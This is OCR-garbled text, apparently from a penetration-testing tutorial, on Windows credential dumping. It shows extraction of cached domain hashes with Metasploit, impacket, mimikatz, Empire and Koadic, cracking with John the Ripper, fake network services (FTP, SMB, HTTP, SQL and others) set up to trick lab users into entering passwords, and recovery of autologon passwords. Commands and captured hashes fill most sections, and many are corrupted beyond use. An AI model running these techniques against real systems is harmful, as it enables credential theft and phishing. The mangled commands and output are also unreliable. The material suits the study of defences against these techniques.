pass-the-hash attacks with this type of hash. It uses MSCACHE algorithm for generating password hash and
that are stored locally in the Windows registry of the Windows operating system. These hashes are stored in
the Windows registry, by default the last 10 hashes.

There two versions of MSCASH/MSCACHE or DCC
« MSCACHEV1 or DCC1 used before Vista Server 2003
« MSCACHEV?2 or DCC?2 used after Vista & Server 2003

Metasploit

Metasploit helps the pen tester to extract the stored hashes by exploiting the registry for MSCACHE stored
hashes. This module uses the registry to extract the stored domain hashes that have been cached as a
result of a GPO setting. The default setting on Windows is to store the last ten successful logins.

As a result, it will dump the password hashes, and these fetched from inside DCC2/MSCACHE as shown in
the image given below.

Vista or above syste
Obtaindmg MLSKM ...
Dumping cached credeatials ...
Hash are in MSCACHE ¥WISTA format. (mscashi)

[+] MSCACHE v =gved in: Sroot/ msfé oot/ 202000090 5877 default_197,160,1,. 104 mecache? , creds 955066, tat
John the Eipper format:

¥ m=cashi

yashika: SOOI 182 sAAvashikaRdaZda 9T dadbacecSac@daddEciabe Mo IGNITE . LOCALY : IGNITE

FEinlsTrater- S0 CIY Bl sdraminlsrratarMpdans T 13456 B caa BB IS T3 hT3a : IGNITE . LOCALA: IGNITE

e _mglaervice: SRCC2F1R048REve_sqliervicelaBals TddedB TdS1ddatafddaTrabfads i IGNITE., LOCALS : IGNTTI

kavish: SOCC2§18ze0Rkavishd5T36fb23780e-cod3Bathl9a TEab TSE2G | IGNITE . LOCALK  IGNITE
raaz: §OCCIS1MTBEraaz aRSSTI31460badEbs TFcaaT1973 1 28Edh : IGHITE . LOCALF: IGHITE

Podt mocdule executlios ¢ompleted
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Impacket

This hash can be extracted using python impacket libraries, this required system and security files stored
inside the registry. With the help of the following command, you can pull out these files from the registry and
save them on your local machine.

Further copy the system and security file on that platform where impacket is installed, in our case we copied
it inside kali Linux and use the following for extracting DCC2/MSCACHE hashes.

Boom!!!! You will get the DCC2/MSCACHEv2 hashes on your screen.

Impacket vé.9.21.dev1+2DI8822

¥ python secretsdump.py -Security sSecurity -system system LOCAL
9.181330.03chebeE - Copyright 2828 Secursauth Corporation

[#] Tardet svitem bootKev: @x5T3I8fhledeldS8@7545d124d6BcFLAcT

[w] Mwimemtno

racrhed domatn Tadan tnfarmatiaon "demaialiisernama-haah

IGNITE.LOCAL/
IGHNITE.LOCAL/
TGHITE. LOCALY
TGHNITE .. LOCAL Y
IGRITE . LOCALS
IGNITE . LOCAL/
[#] Dumping LSA Secrets
[#] $MACHINE.ACC

yashika:$DCC2$1aZsdmvashikaddaZzde9f ?3adbacecSecBBad96clabeia

Administrator: $0CC2%1825088dministrator®#SdatL T334 c84c309cpa @b 25 340T 1
SWC_SOLService: $DCCIE1824005VC_SOLServicefadadsSTddedaTd514da2aFd2 27246 F4d2
aarti:$OCC218Z240NaartinsS369c756f 7c979chbfdcb91d3%dicT5E1
kavish:$0CCIS10240Fkavish#STI6FhIIToReccRIBLafblRalbab 75616

raaz  $DCCIS10260%raarBaS9 71 11468bedibhi T Feaa? 1973728000

FMACHINE .ACC:plain_password hex:fallaBatacldeBSdbid2B51220F82%e6910ac1T1cFFIBLFIDTELAZcTe@RbIAFARb ]
ThBcdcdl25e9fise55edal0nsg TdFabs951c9dedecblbdbf T cASbaSdd2 Fhled Teded edbbac5Tdda1ThbBFAdEIFF5S 772 2d48

bebBb7dbellccdabebabsl TRI2ecIIN1dbe84aa0CC
SMACHINE . ACC:
[#] DPAPT_SYSTEM

dpapl machinekey:@=29&6cficelaalliidaePedildfecilffdbssTath

dpapi_userkey:d=el539545de58a462elccTolBecBAcI&4BT 42775

[#] NLHKM

bl CD 7

e@ld 33
Bl ],
3l 33

7
FF
hi

L

68 EB B4 ET AB BS 6&F C1 6F 94 CA BA aA 25

TE 98 &C Ch 8L 81 ©E& BE CA 90 AC 88 8B DD

a4 /3 1F D4 AA BA 40 E1 BR F3 185 31 DY BH
QE 2F 7% AA EF 51 D& 79 65 E1 5B 14 DA 33

NLEKM: cd7T68e884e7a8b56Fc16f94cabada2s3dff7edbsccbdcEledbicaddacibabdddass82 731 fdsaaBabdelbBfi1831c

FrefM Al el =-
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Mimikatz

As we all know, mimikatz is one of the best penetration testing tools for credential dumping windows. So, we
can get DCC2 / MSCAGHEv2 hashes using mimikatz by installing it on a compromised host and executing the
following command:

And again, you will get the MSCACHEv2 hashes on your screen.
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PowerShell Empire

Moving to our next technique, PowerShell Empire has a module that extracts the MSCACHEV?2 hashes from the
inside registry of the compromised machine. So, download and run Empire on your local machine and
compromise the host machine once to use the empire post module and then type as follows:

And again, you will get the MSCACHEv2 hashes on your screen.

[ Emplra: 1 » usessdule® credantials/mimikatz/cacha
[Empire: 1 » get Agent BHCSIN&L
[Empire; 1 > execute

[Empire:
Job startsd: UDNSEFL

Hostname: Clientl.ignlte. local 7 S-1-5-11-3523557@18-25086964455-
NTTEL mimlkats 2.2.0 (x64) B10040 May 280 2000 14157038
T R A Lo ¥Wie, A L'Amour® - (ge. &0
EE /% EY Seas Bemjemin DELPY “gentilkiwi’ { benjemindgentilkiwi.com )
R - ] * Wtep: /fblog.gentlilkivwl.con/mimlkat s
"B v X VimCcent LE TOLX { winCent.letousadgmall .com )
'EHEAS » BEpp:/fpingcagtle.com  hitp://myssart]lsgon. con Lan ')

mimikatz{powershell) ® token:;elevate
Token Id : @

UsEr nams =

CID names : NT AUTHORITYSSYSTEM

LTh 42158 NT AUTHORITY\WSYSTER t-1-%-18
—+ ImpETsonated !

+« Process Token : {@:B8344E20} 1 O 3438753 IGNITE L Adminlstrator

# Thraead Token i BT AUTHORITYSSYSTEM

mimikatz{powershell) ® 1sadumg;: cache
Dpmmalin @ CLIENMTI

Syskey @ S5T3ETDledeldSBETS4541I6dBHCTS&ECT

Local name : CLIENTY ( 5-1-5-21-603594195-066A9418-11A5849€31 )
Domain name 3 IGHNITE [ S5-1-5-21-352355718-25009604 552014550830
Domain FODN 1 ignite.local

Policy subsystem i35 : 1.18
LA Kewlal : 1, defaule {cdPIBSHB-5347-FIE0-adid-545T10A0edRa ]
[on]

# Itgration iz set to default (18248)

[NLE1 - E/R 2028 1@:33:30 AM]

21D

Nesr - IGHITE'yashika

MzCache¥l : daidegfriadbacecSerdBadIGclabe T

|NLEZ EA11/2020 A:-81:137 P

EID - BRARRYFS (500

User . IGHITE'Administratar

MeCache¥l : SdabGas?IIecSecIBscealBbi2ST IS0 TIE

[NLE3 516/ 282 J:38:12 M|

&1h - BRHRREAS [16BG)

LUzer . IGHITESWC_SOLService

MsCache¥? : aBaBS?adedBrd5l4datatd22 2461 &d2
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Koadic

Just like the Powershell empire, you can use koadic to extract the DCC2 hashes. You can read more about

koadic from here. Run following module to hashes:

And again, you will get the MSCACHEv2 hashes on your screen

MsCacheyl

koadic -
koadic:
[+] MIMICMD =+ 1
koadic

cadump ::

cache

use mimikatz dotmetdjs

St MIMICNMD lsadump::cache

Jombie B: Job @ lepIn1rf:n1Pr'fn1n1hnT" 4ﬂran'1ﬁ|

1+ Tombie B:
1+) Zombie @:
%

[+] Zombie @: Job @ (implant/inject/mimikatz

Domain
Syskey

: CLIENT]

CLIENT1 { S-1-
IGMNITE ([ 5=1=
ignite.local

Lexcal name :
Domain name :
Domain FODN
Policy subsystem i : 1.18
LSA Key(s)

-21-
1=

Jab @ (implantS/inject/mimikatz dotnetljs)
Jaobh @ leuldlr-Jn|EL:'n1n1Ld1; datnetd]s I
Zombie &: Job & (implant/imj

eCt/mimikatz_dotmetl]s

b9
35

1, default {c&91bSdi-

[89] {c4Pib5Sda-53a7-f730-adld-i

_goEn n111jj

: STIAThledeldSRATS54541 24068 FAACT

1598
23557010=-2586904455<2

created,
privilege ::
tokén ;- elevate
completed.
Lsadump :: cache

195-26689810- 1185849621 )
614950430 )

@ 1d-44571888edI0

i ' dadleibigiest1addabesd?

# Iteration is set to default (18248 )

[HL$1 - 6/9/2828 19:33:39 AN]
BEBaa64s (1689)

RID
User ;
Mz acheVd

IGNITE\yashika

[NL$2 - 5711/
RID
User
MsLacheyd

2828 1:-91
paaadlfs (508)

i I'|.|_IJ'IJI 3 J

[WL$3 - 5/16/282@ 12:38:12 PH]
LY Lihﬂh}
JLService
alafsTddedB do1&8dazafd?

RIL
User
MsCacheVl .

IGMITE"SVC_5S

[HL$4: - S/16,
RID

User
MsCacha¥Vil :

[WL%S
RID
Usar

Bdadansl
IGHNITENaarti

IGMNITE \ kavish

[WLYE - &1/
RID
TEEY,

BEaaR6LT
IGNITE\raaz

koadic -

:37 P}

F2828 1:48:31 PN]
(1682 )

- BS1S0028 12:27 44 PM]
BEAEaGss (1684

2828 12:57:48 Pa
(1687)

IﬁHITE'Adnini:Lraan
4B AcI09cealBb2 257 34bT 30

MsCacheV? = 5736fh23T7EBeCcCBIBATRID

859723l1s60badbb& T Caar197

da2dé9fTIadbacecSec@Bad96ciabeTe

272661 4d2

EIGICTSEF TCcOTIchFfdce91d39d3cT5E]

d/banT36db

It ZRERD

debug —

— gi

oloffefb
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Python Script

Just like impacket, you can download the MSCACHEV2 python script to extract the stored hashes. Download
the script from GitHub and then use security and system files (As discussed in Impacted)

And again, you will get the MSCACHEv2 hashes on your screen

: ¥ python mecache.py —security /root/Desktop/security —system /root/Desktop/system
dumping domain cached credentials
B reg query “HEEY LOCAL MACHINE\SECURITY\Cacha®™ /v “"NLE1"
g 228-86-8%9 17:33:39
uwsername: yashika <yashika@ignite.locals>
domain grouwps: S1i<bomain Users», Sit<Domain Admins>
meCache Rmash: daldedfTiadbaceciec@Badcclabela
domalin: IGNITE, IGNITE.LOCAL
gffective name: vashika
full name: yashika
logan script:
profile path:
(15
home drive:
checksum: foiab3195%425c81chbllBabSu484s01 28]
[¥: defcdibboeds Tdedbe 26FfbBdd2sbaGef

ref guery “HEEY _LOCAL MACHINEZSECURITY\Cacha® /v “ML3Z"
2028-485-11 XA @1 %F
username: Administrator <Administratord@ignite.local>
domain groups: S13<Domalin Userss>, 529, S51r<Domsin Admins>, 518, S19<Emterprise Admins>
REcachE Bash: S9dabs T 136G S4c I cealibI2ST L0773
domaln: IGNITE, ITGNITE.LOCAL
effective name: Administrator
full e :
lagan SCript:
profile path:
15 N
home drive:
checksum: JrebFdTef2?idefaSdebisds 254 FREdD
[V: 9ad050a9elaflibfSebcefelS6Teif2a

A reg guary 'FEET_LQEAL_HﬁEH[HEHEEEUR]TTHEHEHE' Fv "NL%3*
g IRZE-85%-1& 19:38:12

uwsername: SVC_SOLService <5 SOlLServicefiignite.locals>

domain groups: S513<Domain Users>

mecache Rash; alafSTddedBidSiscdazafddsTiabfads

domalim: TGNITE, TGNITE., LOCAL

gffective name: SVC _SOLService

full name: SOl Service

logon script:

profile path:

(15

home drive:

checksum: Becodeslbb2a982386b5%3033e4Fubdibd

[¥: 11808644 35580efepaibs aBBf@elash?

B reg query "HEEY _LOCAL MACHINEASECURITY\Cache®™ /v “MLEL"
B Z20Z2E-45-18 J9 48721
username: Aarti <aartifignite.locals
domain groups: S1i<iomaln Lisers>
RECcaChE Bagh: S5360cTS&ETTcYMichfdcefidisdic TSl
domain: IGNITE, IGNITE.LOCAL
effective name: sarti
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Cracking DCC2

' As we know these hashes are not used to PASS the Hash attack, thus we need to use john the ripper to crack
these hashes for utilising it

As a result, it has dumped the password in clear text for the given hash file. Hence don’t get confused between

DCC2 or MSCACHEV2/MSCASH hash these all are the same and you can use the abovediscussed method to
extract them.

-8 John —format=mscashad -—iurdl3hI=fu5rf5H&rﬂ3w&rd1lEIEfruthyuu-LAL mhash
Using default input encoding: UTF-8
Loaded 1 password hash (mscashd, ME

5 Cache Hash 2 (DCC2) [PBKDF2-SHA1 256/256 AVNZ Bx])
Will ruen & OpenMP threads
u.l_._._.qu i i

n' ar Ctrl-C to abort, almost any other key for status
Passwordal (7]

1g @ 88 854: 30 DONE (Z828-86-89 14:47) B.0R36962, 5
Use the *

Ti4pss TT73c/s TTTIC/ s Paulseva .. Passion?
— show —format=mscashi™ options to display all of the cracked passwords reliably

=
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CREDENTIAL
DUMPING: Fake Services

Introduction

In Metasploit by making use of auxiliary modules, you can fake any server of choice and gain credentials of the
victim. For your server to be used, you can make use of the search command to look for modules. So, to get
you started, switch on your Kali Linux machines and start Metasploit using the command

[t |
FHIP

FTP stands for ‘file transferring Protocol’ used for the transfer of computer files between a client and
server on a computer network at port 21. This module provides a fake FTP service that is designed to
capture authentication credentials. To achieve this, you can type

Here you see that the server has started and the module is running.

msf5 » use auxiliary/server/capture/ftp

msf5 auxiliary( ) » set srvhost 192.168.0.102

srvhost = 192.168.0.102

mst5 auxiliary( ) > set banner Welcome to Hacking Articles
banner = Welcome to Hacking Articles

msf5 auxiliary( ) > exploit
Auxiliary module running as background job @.

Started service listener on 192.168.0.1082:21
Server started.
mst5 auxiliary( ) = §
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B On doing a Nmap scan with the FTP port and IP address, you can see that the port is open

Now to lure the user into believing, it to be a genuine login page you can trick the user into opening the
FTP login page. It will display, ‘Welcome to Hacking Articles’ and it will ask the user to put his user Id and
password. According to the user, it would be a genuine page, he will put his user ID and password.

# nmap -p2l1 192.168.0.102
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-24 15:20 EDT
Nmap scan report for 192.168.0.102
Host is up (0.000047s latency).

DART STATE SERVICE
21/tcp open fip

; {1 host up) scanned in ©.17 seconds
182
Connected to 192.168.0.102.
220 Welcome to Hacking Articles
Name (192.168.0.102:root): raj
331 User nmame okay, need password ...
Password:
508 Error
Login failed.
IREN |

It will show the user that the login is failed, but the user ID and password will be captured by the listener.
You see that the ID /Password is

Started service listener on 192.168.0.102:21
Sserver started.

mstS auxiliaryl ) >/ Ll+] FTP LOGIN 192.168.0.102:44244 ray / 123
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Telnet

Telnet is a networking protocol that allows a user on one computer to log into another computer that is part of
the same network at port 23. This module provides a fake Telnet service that is designed to capture
authentication credentials. To achieve this, you can type

msfS > use auxiliary/server/capture/telnet
mstsh auxiliaryl ) > set banner Welcome to Hacking Articles
banner = Welcome to Hacking Articles
msfs auxiliaryl '
srvhost = 192.168.0.162
msf5 auxiliary(
Auxiliary module running as background job @.

Started service listener on 192.168.0.182:23

On doing a Nmap scan with the Telnet port and IP address, you can see that the port is open.

Now to lure the user into believing, it to be a genuine login page you can trick the user into opening the
Telnet login page. It will display, "Welcome to Hacking Articles’ and it will ask the user to put his user Id
and password. According to the user, it would be a genuine page, he will put his user ID and password.
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=8 nmap =p23 192.168.8.182

atarting Nmap ¢ s://nmap.org ) at 2020-07-24 15:29 EDT
Nmap scan report for 192.168.0.102

Host 1s wp (0.900843s latency).

CEET ETETE T EERITTE
23/tcp opan telnet
Hmap done: 1
HET
9 _ 16E.8.187F ...

Trying 1
Connected to

Escape character j

Welcome to Hacking Articles
Login: l1gnite

Fassworda: 123

Login failled

It will show the user that the login is failed, but the user ID and password will be captured by the listener.
You see that the ID /Password is

Auxiliary module running as background job 0.

Started service lListener on 192.168.8.1862:23
Server started.

asf5 auxiliary( y » [+] TELNET LOGIN 192.168.0.182:52060 ICSS

VNC

VNC Virtual Network Computing is a graphical desktop sharing system that uses the Remote Frame Buffer
protocol to remotely control another computer at port 5900. This module provides a fake VNC service that
is designed to capture authentication credentials. To achieve this, you can type
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Here we use JOHNPWEFILE option to save the captures hashes in John the Ripper format. Here we see that
the module is running and the listener has started.

> use auxiliary/server
auxiliary(

‘host = 192.168.0.182
auxiliary( ) » set johnpwfile /root/Desktop/
johnpwtile = /root/Desktop/

mst5 auxiliaryl ) > exploit

Auxiliary module running as background job 1.

= |=
(g ¥
= |~

srvhost 192.168.0.102

LA

—
wn =
_hl -

cservice listener on 192.168.0.102:5900

On doing a Nmap scan with the vnc port and IP address, you can see that the port is open.

According to the user, it would be a genuine page, as on starting vncviewer he will put his user ID and
password.

# nmap -p590@ 192.168.0.102
Starting Nmap 7.80 ( ht ://nmap.org ) at 2020-07
Nmap scan report for 192.168.8.102
Host is up (9.00015s latency).

DART STATF SFRVICE
500@/tcp open wncC

Nmap done: 1 IP address (1 host up) s ed in @8.16 seconds

# vncviewer 192.168.08.102

Connected to RFB server, using protocol version 3.7
Pertforming standard VNC authentication

Password:

Authentication failure

It will show that there was an authentication failure, but the hash for the password has been captured

SMB

SMB stands for server message block which is used to share printers, files etc at port 445. This module
provides an SMB service that can be used to capture the challenge-response password hashes of the SMB
client system. To achieve this, you can type
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The server capture credentials in a hash value which can be cracked later, therefore johnpwfile of John the
Ripper

» Use auxiliarv/server/capture/smb

msf5 auxiliaryl ) » set Johnpwtile /root/Desktop/

johnpwfile = /root/Desktop/

msfS auxiliary( ) » set srvhost 192.168.8.102

E' :- lllll I-l ::- E' ‘: =: l .:J :;I L] l !:-' 'Ei L] I;:I L] 1 I'j 2
msfS auxiliary( ) » exploit
Auxiliary module runmning as backgrounmd job 3.

| m
|

Started service listener o

On doing a Nmap scan with the smb port and IP address, you can see that the port is open

# nmap -p445> 192.1068.0
Starting Nmap 7.80 ( https://nmap.org ) 2020-07-24 16:83 EDT
Nmap scan report for 192.168.08.182
Host is up (9.00011s latency).

PORT STATE SERVICE
445/tcp open microsoft-ds

Nmap done: 1 IP address (1 host up) scanned 1n 8.17 seconds

As a result, this module will now generate a spoofed window security prompt on the victim’s system to
establish a connection with another system to access shared folders of that system.
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=X

Type the name of a program, folder, document, or Intermet
resowrce, and 'Windows will open & for you.

‘Windows Secuniy

Enter Network Password
Enter your password to comnnect to: 1921680104

UEE mame

i aCi el
LIII Domaine WIN-30 /NEBL25h]

Remember my credentials

3 Logon failure unknown user name or bad password.

] 4

It will show the user that the login failure, but the credentials will be captured by the listener. Here you
can see that the listener has captured the user and the domain name. It has also generated an NT hash
which can be decrypted with John the ripper

LM_CLIENT CHALLENGE:Disakbled
NTHASH: dBh 234551420 cc@bds FhSa 82951 2 e
HT_CLIENT _CHALLENGE:R1310DAQaa@adRalclalicAt4a ]l a6 19e642 chl B306a ThT 00 20200200000 a a0 Haa
SHE Captured JO2P=0T=24 15:50:714 =L@
! Besponse Captured from 152.168.3.1831L5186R - 193
USER:ra) DOMATH:WIN-3IQTHEETISA] OS¢ LM:
LENHASH: Disab|ed
LM_CLIENT CHALLENGE-Dizabled
NTHASH: ZafdlaallEBbcoBdac3cl9%hecE? lcdbba
HT_CLIENT _CHALLENGE -#12]1dsadadidideddc leeffab ]l bRl 2 60 2058 T ad 1 2 3@ el Sef Quied & 2 0 il DD D A0 D
aMH Laptured JE2E-a=-28 1315911 -HEbE
! Response Captured from 1%2.168.@.1@

L
Bl &d
H
{

dedctATReE T4 2RI 10T 40 ] 15956400
TENT _CHALLENGE -@1dlddadsidifdieddc lceffanldb@iSIcIFE1 S 0EH
SHMH Laptured - JBZE-90-24 13253930146 —HEipd
Response Captured ftrom 192168 . @_1831&£%160 - 172
i) DOMATH:WIN-JQTMEEIZSR]1 O5: LM:
issbled
I CHALLENGE::Disabled
BL&BEZEDSEEATHNSGe AT CL i
T_CHALLENGE =81 @18 58@ Saafdideddc 18 F an 1 a1 b a5 ol 163 T4 5 F 20 06 0o 21 2 8 DD D 3 B (@
SME Capitured - JEZR-@75-24 15:5%:14 —BEpE
Response Captured fram 197168 . @_ 183 £3146D
IFSER:Fa) DOMATH:WIN=-307HEEIZS61 O5: LM:
LMHASH: Disabled
LM CLIENT CHALLENGE:D1sakbled
NTHOSH: SccbhBa2 16+ eh4d84a83530 01 RGEaas T8
WT_CLIENT _CHALLENGE -@1@idddoddaedpidsdisl feif4bldtnifitedied22c1iI1c 7000002 A000 00080 BRA
SME Captured - ZJBZR-@7-24 15:5%%9:15% —BLpd
! BespEngse Captured +rom 192 .16 .14

Here you can see that the hash file generated on the desktop can be decrypted using
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And here you see that the password is in text form, 123 for user Raj.

: # john netntlmv2
Using default input encoding: UTF-8
Loaded 8 password hashes with 8 different
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for
Warning: Only &4 candidates buffered for the current sa
Almost done: Proc
warning: Only 7 candidates buttered for the current sa
Proceeding with wordlist: /usr/share/john/password. Lst,
123 (raj)
123 (raj)
123 (raj)
123 (raj)
123 (raj)

(raj)

23 (raj)
23 (raj)

e

http_basic

his module responds to all requests for resources with an HTTP 401. This should cause most browsers to
nrompt for a credential. If the user enters Basic Auth creds they are sent to the console. This may be
nelpful in some phishing expeditions where it is possible to embed a resource into a page To exploit HTTP
(80), you can type
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mEtS » wuse auxlllarv/sery B dasli

msfS auxili il Tl * 58T HedlrectURL wsw . hack ILNEATT1L Les. in

RedirectURL = waw .| :

msf5 auxiliaryl l > set srvhost 192.168.8.182
srwhiost = 1%7.148.8.182

pEfS Auxiliary(

nELR:

| As a result, this module will now generate a spoofed login prompt on the victim’s system when an HTTP
URL is opened.

1518 1640, 110.4

Aurhenl e al sn Regur el

| It will show the user that the login is failed, but the user ID and password will be captured by the listener.
You see that the ID /Password is Raj/123

Using URL: http://192.168.0.102:80/sales
Server started.
mst5 auxiliaryl } > Sending 481 to client 192.168.06.11@

+#] HTTP Basic Auth LOGIN 192.168.0.11@0 “raj:123" /[ /s:
Redirecting client 192.168.0.110 to ww.hackingarticles.in
sf5 auxiliary( N |
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POP3

POP3 is a client/server protocol in which e-mail is received and held for you by your Internet server at port
110. This module provides a fake POP3 service that is designed to capture authentication credentials. To
achieve this, you can type

msfsS > use auxiliary/server/capture/pop3
msfs auxiliarwvi } » s¢t srvhost 192.168.08. 16832
SrYhost = 192.168.8.182
msf5 auxiliarvi } > explolt
Auxilia 'y ma dule rummin = DACK groundg 7o i

Started service listener on 192.168.86.182:114

Server started.

On doing a Nmap scan with the POP3 port and IP address, you can see that the port is open

According to the user, it would be a genuine page, he will put his user 1D and password.

1) scanned 1nm B8.19 seconds

You see that the User /Password captured by the listener is raj/123
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Started service lListener on 192.16E.0.182:11@

2erver started.
sf5 auxiliary( ) » [+] POP3 LOGIN 192.168.0.102:45446 raj / 123

SMIP

SMTP stands for Simple Mail Transfer Protocol which is a communication protocol for electronic mail
transmission at port 25. This module provides a fake SMTP service that is designed to capture
authentication credentials To achieve this, you can type

> USE
msf5 auxiliary( ) » set srvhost 192.168.08.182
srvhost = 192.168.9.102

mstS auxiliaryl )} » exploit
Auxiliary module running as background job 2.

Started service listener on 192.168.0.182:25

Server started.

On doing a Nmap scan with the SMTP port and IP address, you can see that the port is open

According to the user, it would be a genuine page, he will put his user 1D and password.
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' On adding the ID and password, it will show server error to the user, but it will be captured by the listener
raj-123

mst5 auxiliaryl
SMTR:

] SMTP LOGIN 192.168.0.102:42582 [/ 123
]

PostgreSQL

' Postgresql is an opensource database that is widely available at port 5432. This module provides a fake
PostgreSQL service that is designed to capture clear-text authentication credentials.

LIER

2582 Command: USER raj

v/sarver/capture/pos

LEresqgl

2.108.0.104
@ running as

Listener on

On doing a Nmap scan with the PostgreSQL port and IP address, you can see that the port is open

According to the user, it would be a genuine page, he will put his user 1D and password

=R nmap -p>432 192.16E8.8.1802
5I_._||:"_1'|i_§_ Nmap 7.88 | I|LI_|_|'_-.'_.-'.-"r'|||.-_|;_'|.:_ %
Nmap scan report for 192.168.8.182

Host 15 up (0.0000865s latency).

PORT STATE SERVICE

5432/tcp open postgresql

Nmap aone: 1 1IF aaddress (1 nost up) scanned 1n @..34
:~# psgl -h 192.168.0.182 -U raj

Password for user raj:

psgl: err could not connect to server: FATAL:

password authenticatlion
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| On adding the ID and password, it will show a server error to the user, but it will be captured by the
listener raj/123.

PostgreSQL LOGIN 192.168.9.102:33600

MsSQL

Mssql is a Microsoft developed database management system that is widely available at 1433. This module
provides a fake MSSQL service that is designed to capture authentication credentials. This module support
hoth the weakly encoded database logins as well as Windows logins (NTLM). To achieve this,

use auxiliary/server/capture/mssgl

xiliaryl( ) > set srvhost 192.168.0.162
— L e

uxiliary( ) » exploit

Auxiliary module running as background job 6.

dill
nost
dau

r on 192.168.0.102:1433

It will open a fake Microsoft session manager window. According to the user, it would be a genuine page,
he will put his user 1D and password.

Settings Advanced s Statetics
¢ Urnamed *

Metwork type Mionssaf S04 Seroer (TLPAF)
Haostname / IP 192, 163.0.102
E Prampl 1or credermalg
[] Use Windows authenticstion
Liser: 4.1]
Pafsnaed .iii
Fort 1433
L] Compressed client/server protocol

[ i el

C ornrment:

listener MSSQL LOGIN 192.168.0.11 10:59722 raj
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http_ntlm

8 The http_ntim capture module tries to quietly catch the NTLM challenge hashes over HTTP.

: use auxiliary/server/capture/http_ntlm
st5 auxiliary( ) » set jJjohnpwtile sroot/Desktops
johnpwfile = /Sroot/Desktop/
ms S avkiliaryl ) » set srvhost 192.168.0.182
srvhost = 192.168.9.102
] = gat Uripatn repoart

i5f5 auxiliary(

uripath = report

msfS auxiliaryl( ) » exploat
Auxiliary module running as background job

182 8088/ report

As a result, this module will now generate a spoofed login prompt on the victim’s system when an HTTP

URL is opened.

192.168.0.102:8080,/report

X

Authentication Reguired - Mazilla Firefoux

X

@ http://192.168.0.102:8080 is reguesting your usemame and password.

Liser Flame: | ra)

Paseword: ses

It will show the user that the logon failure, but the credentials will be captured by the listener. Here you
can see that the listener has captured the user and the domain name. It has also generated an NT hash

which can be decrypted with John the ripper
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NTLMv2 Response Captured trom DESKTOP-AQAPSOM
DOMATIN: USER: raj
LMHASH: Disabled LM_CLIENT_CHALLEMNGE:Disabled

NTHASH:B999TaB22c194ch54902dbdddf72fcad NT_CLIENT _CHALLENGE :Q12100000000000041917a0bffelde@labBslBafse

And here you see that the hash file generated can be decrypted using john_netnimv2. And here you see
that the password is in text form, 123 for user Raj.

: # john _netntlmv2

Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMy2 C/R [MD4 HMAC-MDS 32
Will rum & OpenMP threads

ing with single, rules:Single
Press 'q" or Ctrl-C to abort, almest any other key for status
[ 1Nl
' 1Nl
: 1M1
’ 1ni
i ini
0 1Nl
' 1Nl
' 1M1
4 35
Proceeding with wordlist: /usr/share/john/password.lst, rules:W
123
g 0:00:00:00 DONE 2/3 (2020-087-24 17:12) 100.0g/s 28690@p/s 2

"—show -—format=netntlmv2" options to display all of

on completed

MySQL

It is an opensource database management system at port 3306. This module provides a fake MySQL
service that is designed to capture authentication credentials. It captures challenge and response pairs
that can be supplied at Johntheripper for cracking. To achieve this,

msf5 > use auxiliary/server/capture/mysql
msf5 auxiliary( ) > set srvhost 192.168.0.162
srvhost = 192.168.0.102
msf5 auxiliary( ) > exploit
Auxiliary module runming as background job @.

Started service listener on 192.168.0.102:3306

Server started.

On doing a Nmap scan with the MySql port and IP address, you can see that the port is open
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' According to the user, it would be a genuine page, he will put his user ID and password

'~ nmap -p33@d6 197.168B.8.182
Starting Nmap 7.80 ( https://nmap.org ) at 2020-98-21 17:16 EDT
Nmap Scan report For 192.168._6.1@37
Host 1s up (@.008877s latency).
PiRT
3386/ Cp open

Mmap done: 1
=~ mysgl
Enter password:
ERRDE 10845 (280808 ). ccess denied

=
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CREDENTIAL
DUMPING: Windows Autologon Password

Autologon helps you to conveniently customize the built-in Autologon mechanism for Windows. Rather than
waiting for a user to enter their name and password, Windows will automatically log in to the required user
using the credentials you submit with Autologon, which are encrypted in the registry. In this post, we will try
to dump the stored autologin credentials with the help of two different tools. Let’s see the settings for

autologin, first, you need to access the User Accounts Gontrol Panel using netplwiz command inside the run
prompt.

' Run >

Type the name of a program, folder, document, or Internet
resource, and Windows will open it for you.

Qpp_ln; ‘ nﬂpll..'u'ld -

8 Choose the account for autologon, for example, we have selected user Raj

SRS Advanoed

{f‘[: Use the list below to grant or deny wsers access to your compurter,
}  and bo change pasdwondd and ather settings.

A Users miust enter 3 user name and password to use this computer.
Users for this computer

User Mame Group

B ra Adrvinistrators

Froperties

Password far ra

u lo change your password, press Lirl-AlR-LDel and zelect Change
S0k Password,

Enter your password once and then a second time to confirm it and uncheck the box “Users must enter a
user name and password to use this computer” then click OK.
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Users  Advamoed

—=n

""p'l Use the st below to grant or dery users access to your computer,
and te change passwards and other settings.

|:||J:-i:f5 must griter a8 user name and password to use this computer

Users for this computen

User Marmse Groug
Automatically sign in o,

You can sef up your cormputer 5o that users do not have 1o type a user
narme and password to sign . To do this, specify a user that will be
automaetically migned in below:

LHir Pl raj
Pagswecrd uw
Corfirm Password: sl

oK | Cancel

Method 1: Nirsoft-Network Password Recovery

Network Password Recovery is very easy to use, install and run the tool on the local machine whose
password you chose to extract. It will dump the stored credential for the autologon account. You can
download this tool from here

T Metwork Password Recovery - ] X

File Edt View Help
PIRCEN =N |

Iterm Name Type User Password Last Witten

Autologon Password

2 WindowsLive:target=... Genenc D2ugqlggisdgjun 10/15/2020 12:43:
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N

Method 2: Decrypt Login

This tool can extract/decrypt the password that was stored in the LSA by Sysinternals AutoLogo. You can
download its Compiled Version HERE Run the downloaded .exe as shown in the given image, it will dump
the password in the Plain text.

C:\Users\raj\Dowr

Autologon Password:

-
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